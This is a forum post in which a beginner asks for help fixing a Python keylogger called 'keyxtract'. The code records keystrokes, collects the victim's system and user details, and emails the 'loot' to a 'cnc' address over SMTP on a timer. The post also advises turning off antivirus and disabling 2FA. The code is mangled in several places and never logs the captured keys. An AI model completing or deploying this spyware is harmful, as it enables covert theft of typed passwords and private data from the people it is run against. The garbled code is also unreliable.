Trying to build my own keylogger using python

Hello Friends! Hope y’all doing great …

I’m just getting started with programming in [Python For Hacking] . so i use to be stick around with it for a while then , after learning the basics of python i mean the oops(object oriented programming ) precisely , I would like to mention here . To be honest i’m an absolute newbie to the oops .

All i know before i’m getting started with python is C programming and bash scripting. but once when i’m stepped in python , i felt python is much easier then other programming languages and eventually after sometime there is an idea knocked in my head .(my head) hey why don’t you just get involve in the self project by yourself by creating something .

Alright! i’ve started a project called keyxtract my very first self python project . I corrected lot of errors and things by researching online but i made a mistake somewhere in the smtp_transmit method in the code it’s throwing out the positional arguments error . but i have no idea i’m just
obfuscated now …

Here’s my code :

import smtplib
import threading
import getpass
import platform
from pynput.keyboard import Listener

class keyxtract:
def init(self, email, password, time_interval):
self.sys_info = self.get_sys_info() = email
self.password = password
self.time_interval = time_interval
self.log = “”

def get_sys_info(self):
    uname = platform.uname()
    os = uname[0]+" "+uname[2]+" "+uname[3]
    sys_name = uname[1]
    user = getpass.getuser()
    return "Target's Operating system: "+os+"\t\tComputer name:" +sys_name+"\nCurrent User: "+user

def process_on_keypress(self, key):
    stroke = str(key)
    stroke = stroke.replace("'", "")

    if stroke == '':
        stroke = ' '
    elif stroke == '':
        stroke = '  '
    elif stroke == 'Key.enter':
        stroke = '\n'
    elif stroke == 'Key.shift_r':
        stroke = ''
    elif stroke == 'Key.shift':
        stroke = ''
    elif stroke == 'Key.ctrl':
        stroke = ''
    elif stroke == 'Key.backspace':
        stroke = ''

def smtp_transmit(self, email, password, loot):
    loot = 'Subject:Listener started...\n\nReport From:'+'\n\t'+self.sys_info+'\n\nloots(keystrokes):\n\t'+loot
    with smtplib.SMTP('', 587) as smtp:
        smtp.login(email, password)
        smtp.send_message(email, email, loot)

def report_2_cnc(self):
    self.smtp_transmit(, self.password, self.log)
    self.log = ""
    timer = threading.Timer(self.time_interval, self.report_2_cnc)

def write_to_log(self, chars):
    self.log = self.log + chars

def initiate_listener(self):
    with Listener(on_press=self.process_on_keypress) as l:
        l.join() : executable python file for keyxtract like trigger

import Keyxtract

key_log = Keyxtract.keyxtract(‘’, ‘pass’, 60)

perhaps if you are testing this in your pc means you are suppose to turn your antivirus and anti malware off …and you are also suppose to configure your mail to less secure apps turn on by disabling the 2FA temporarily …

Help must be really appreciateable…
Thanks you so much in advance .